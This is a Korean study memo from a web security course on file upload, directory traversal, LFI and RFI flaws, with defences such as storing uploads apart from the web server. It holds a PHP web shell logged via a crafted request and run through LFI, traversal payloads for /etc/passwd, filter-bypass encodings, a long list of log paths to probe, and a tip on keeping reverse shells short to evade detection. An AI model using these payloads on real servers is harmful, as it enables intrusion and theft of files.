11주차 - 파일 다운로드의 개념과 대응 방안
해당 게시글은 정보글이 아닌 공부 메모글입니다.
목차
1. 복습
2. 파일 업로드 취약점 추가 내용
3. 파일 다운로드
4. LFI
5. RFI
6. 대응 방안
1. 복습
웹 쉘이 있는 파일이 어느 경로에 저장이 되는지 아는 것이 중요합니다.
리버스 쉘은 컴퓨터와 컴퓨터가 연결되는 것이기 때문에 리버스 쉘의 시간이 오래된다면 탐지될 수 있습니다.
리버스 쉘은 할 것만 빨리하고 빠지는 게 좋습니다.
index.html을 업로드해서 바꾸는 공격과 피싱을 숨겨두는 등등의 연계되는 시나리오가 가능합니다.
※ 파일 업로드 할 때 파일 시그니처에 꺽새(<, >)가 있을 수 있습니다. 그럴 경우 php 코드가 실행이 안될 수 있습니다.
2. 파일 업로드 취약점 추가 내용
2-1. include 취약점
include를 이용하면 include($_GET['page'])로 하면 됩니다.
하지만 php 코드는 볼 수 없습니다.
WAS에서는 include를 먼저하고 나서 php 코드를 실행하기 때문에 php 코드는 볼 수 없습니다.
2-2. LFI 취약점 (Local File Inclusion)
../ (상위 디렉토리)를 불러오는 방식으로 WAS 내부의 디렉토리를 이용한 취약점입니다.
/?page=../../../etc/passwd로 상위 디렉토리를 이용해서 파일 위치의 정보만 알 수 있는 취약점입니다.
하지만 파일 업로드 취약점보다 상위 취약점입니다.
그 이유는 파일을 업로드 하지 않고도 웹 쉘을 실행할 수 있습니다.
주소창에 <?php system($_GET['cmd']); ?> 자체를 응답으로 보내면 access_log 파일에 저장이 되기 때문에 /?page=../../../opt/lampp/logs/access_log 경로에 웹 쉘 코드를 실행할 수 있습니다.
access_log 파일의 경로는 일단 기본 경로를 찾아보고 그 경로로 시도해 보면 됩니다.
2-3. RFI 취약점 (Remote File Inclusion)
주소창에 /?page=http://google.com 처럼 외부 사이트와 연결할 수 있는 이용한 취약점입니다.
이럴 경우엔 외부의 해킹 서버와 연결해서 해킹할 수도 있습니다.
파일 업로드 취약점 및 웹 쉘의 대응 방안
업로드된 파일을 DB에 저장하면 모든 것이 해결이 됩니다.
DB에 CLOB, BLOB 자료형으로 저장하는 게 좋습니다. (이 자료형은 파일로 저장하는 것이 아니라 바이러니(글자)로 저장하는 것이기 때문에 실행이 안됩니다.)
웹 쉘과 악성코드(XSS) 웹 페이지 삽입 등에 취약한 이유는 WAS에 저장되기 때문에 핵심은 WAS와 저장 장소를 분리하면 됩니다.
고객사에게 DB를 새로 생성해야 하는 귀찮음과 시간 소비도 있기에 DB에 저장하는 게 쉽지 않습니다.
차선책으로 WAS와 분리된 php 등이 없는 NAS에 저장하면 어느정도 해결이 됩니다.
마지막으로 파일 검증 방법이 있습니다. (확장자 검증, 파일 시그니처 검증, MIME Type 검증 등)
3. 파일 다운로드
파라미터를 변조해서 공격자가 원하는 파일을 다운로드할 수 있는 취약점입니다.
Directory Traversal
URL : essential.com/download.php?file=test.png
위의 URL에서
URL : essential.com/download.php?file=../../../etc/passwd
같이 경로를 바꿔주면 해당 경로의 파일을 읽을 수 있습니다.
기본적으로 URL 경로가 어떻게 이루어지는지 이해를 해야 이 시스템을 이해할 수 있습니다. essential.com/download.php에서 바로 test.png라는 파일이 essential.com라는 경로에 바로 있을 수도 있지만 PHP를 활용해서 생략하는 경우도 있습니다.
예를들어
essential.com/download.php?file=test.png와 같은 주소인데 아래의 코드처럼 경로가 되어 있을 수도 있고
/var/www/html/test.png
essential.com/download.php?file=test.png와 같이 위의 주소와 똑같은 주소인데 PHP를 활용해서 download_file이라는 디렉토리를 생략해서 코딩할 수 있습니다.
/var/www/html/download_file/test.png
아래의 PHP 코드와 같이 download_file이라는 디렉토리는 생략할 수 있기 때문에 Directory Traversal할 때는 주소 경로에 대한 이해가 필요합니다.
<?php
# 생략할 디렉토리 경로를 target_dir 변수에 대입
$target_dir = "./download_file";
# 응답으로 받은 주소를 file 변수에 대입
$file = $_GET['file'];
# target_dir와 file 변수를 합하기
$fullFile = $target_dir . $file;
?>
만약 essential.com/download.php?file=../../../etc/passwd와 같은 경로로 passwd의 파일을 보려고 했는데 파일이 없다고 뜨거나 오류가 생긴다면 PHP 코드가 어떻게 구성되어 있는지 생각해봐야 합니다.
생략한 주소의 마지막 부분이 어떤식으로 끝나느냐에 따라 달라집니다.
아래 3가지 경로의 차이에서 느낄 수 있습니다.
<?php
# 생략한 디렉토리 마지막에 아무것도 없을 때 /../../../etc/passwd
$target_dir = "./download_file";
# 생략한 디렉토리 마지막에 빗금으로 끝날 때 ./../../../etc/passwd
$target_dir = "./download_file/";
# 생략한 디렉토리가 없는 경우엔 ../../../etc/passwd
$target_dir = "";
?>
마지막으로 필터링 했을 때의 문제입니다.
경로 이동에 사용되는 문자인 ../을 치환하는 방식으로 필터링해서 경로 이동에 막히는 경우가 생길 때가 있습니다.하지만 블랙 리스트 기반의 필터링이라 아래 예시와 같이 우회할 수 있습니다.
- .../etc/passwd
- ..//etc/passwd
- ...//etc/passwd
- ../etc/./././passwd
- ../etc/&fileName=passwd
- ..././etc/passwd
- ...//etc.//&fileName=passwd
- %2E%2E%2Fetc/passwd
- %2E%2E%2E%2Fetc%2E%2F%2E%2Fpasswd
- %2E%2E%2F%2E%2E%2Fetc%2E%2F%2E%2Fpasswd
4. LFI ( Local File Inclusion )
파일 업로드 기능이 없어도 WAS에 있는 PHP 파일을 이용한 공격입니다.
URL 요청으로 PHP 코드를 입력해서 요청을 보내서 로그에 남기고 PHP의 include 구문을 활용해서 로그에 남긴 PHP 코드를 실행시키는 방식입니다.
시나리오
1. Directory Traversal을 이용해서 로그 파일을 찾습니다.
2. URL에 PHP include 구문을 활용해서 코드를 입력하고 요청 보내서 로그 파일에 기록이 남는지 봅니다.
3. Directory Traversal을 이용해서 로그 파일을 열 때 PHP 코드가 실행이 되는지 확인합니다.
PHP 코드가 실행이 된다면 해킹!!
PHP 코드가 실행이 안 된다면 다른 방식으로 PHP 코드를 요청 보내거나 필터링이 됐는지 등 확인해봅니다.
아래 목록은 제가 시도해본 로그파일 경로입니다.
/opt/lampp/logs/access_log
/opt/lampp/logs/access.log
/opt/lampp/logs/error_log
/opt/lampp/logs/error.log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/access_log
/usr/local/apache/access.log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache2/access_log
/usr/local/apache2/access.log
/usr/local/apache2/error_log
/usr/local/apache2/error.log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/access.log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/httpd/logs/error.log
/usr/local/www/logs/thttpd_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/var/apache/logs/access_log
/var/apache/logs/access.log
/var/apache/logs/error_log
/var/apache/logs/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/apache-ssl/access_log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error_log
/var/log/apache-ssl/error.log
/var/log/nginx/access_log
/var/log/nginx/access.log
/var/log/nginx/error_log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl.access.log
/var/log/httpsd/ssl.error_log
/var/log/httpsd/ssl.error.log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
/var/www/log/access_log
/var/www/log/access.log
/var/www/log/error_log
/var/www/log/error.log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
클라이언트에서 요청을 보낼때 아래의 URL처럼 요청을 보내면 정상적인 주소가 아니기 때문에 오류 로그에 남게 됩니다.
GET <?php+system($_GET['cmd']);+?> HTTP/1.1
그리고나서 Directory Traversal을 이용해서 해당 로그 파일을 열면 PHP 코드가 실행하게끔 하는 것이 목표입니다.
5. RFI (Remote File Inclusion)
ㅁㄴㅇㄹ
6. 대응 방안
파일 다운로드 취약점 대응 방안
1. DB에 파일을 올리게 하는 것처럼 WAS와 분리하는 것
2. NAS에 파일을 올리게 하는 것처럼 WAS와 분리하는 것
3. 디렉토리 트래버셜(Directory Traversal) (../를 못 쓰게 만드는 것입니다. 하지만 우회할 가능성이 있습니다.)
※ 만약 파일 다운로드 취약점이 먹힌다면 모든 파일을 다운받아서 SQL Injection을 다 찾을 수 있기 때문에 매우 위험한 취약점 입니다.